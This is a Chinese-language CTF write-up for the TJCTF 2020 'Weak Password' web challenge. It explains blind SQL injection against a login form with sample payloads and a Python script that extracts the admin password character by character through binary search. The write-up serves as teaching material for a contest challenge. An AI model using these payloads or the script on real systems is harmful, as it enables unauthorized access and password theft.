TJCTF 2020 - Weak Password (Web)

Writeups 搬自 MacacaHub TJCTF 2020 Writeups

這題雖然叫Weak Password,但我當時遇到真的戳不出來呢 ; w ;

最後賽後隊友提點才知道原來是Blind SQL injection,平常我只拿' or 1=1 --戳戳根本是小兒科ww

Description

It seems your login bypass skills are now famous! One of my friends has given you a challenge: figure out his password on this site. He’s told me that his username is admin, and that his password is made of up only lowercase letters and numbers. (Wrap the password with tjctf{…})

Solution

標題同樣為Weak Password,T貓盃只有admin:admin,這裡反而沒有這麼簡單XD

從題目給定usernameadmin,以及從source code可以看到SQL語法以及一些欄位資訊,我們可以猜到這題要用Blind SQL injection,一些基本的猜法可以參考此篇,當然也可以從網頁把password每個字元慢慢猜出來,但身為未來工程屍… 還是寫個Code吧 : )

How to Guess ?

透過SQL injection並利用登入結果判斷是否成功,想辦法從username撈出我們想要的資訊。

例如,猜password長度:

admin' and length(password) > 13 -- —> success

admin' and length(password) > 14 -- —> fail

admin' and length(password) = 14 -- —> success

可以猜到password長度為14。

又例如,猜password第一個字元:

admin' and unicode(substr(password, 1)) > unicode('a') -- —> success

admin' and unicode(substr(password, 1)) > unicode('b') -- —> fail

admin' and unicode(substr(password, 1)) = unicode('b') -- —> success

可以猜到password第一個字元為b



再來就是寫Code了,可以搭配 Binary search 加速搜尋~

然後用回傳的request長度判斷結果是否成功。

solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import string

# Send request and get result
def inject(n, opr, char):
url = 'https://weak_password.tjctf.org/login'
payload = {"username": "admin' and unicode(substr(password, {})) \\
{} unicode('{}')-- ".format(n, opr,char), "password": "123"}
r = requests.post(url, data=payload)
return True if len(r.text)==1842 else False #1842:success

res = ""
li = list(string.digits + string.ascii_lowercase)
for i in range(1, 20):

l = 0
r = len(li) - 1

# end up binary search if it can't checkout any character
if inject(i, '>', li[0]) == False:
print('password: '+res)
break

while l <= r:
mid = (l +(r+1)) // 2
#print(l, r, mid)
if inject(i, '=', li[mid]):
res = res + li[mid]
break
elif inject(i, '>', li[mid]):
l = mid
elif inject(i, '<', li[mid]):
r = mid
else:
break
print(res)

Result

tjctf{blindsqli14519}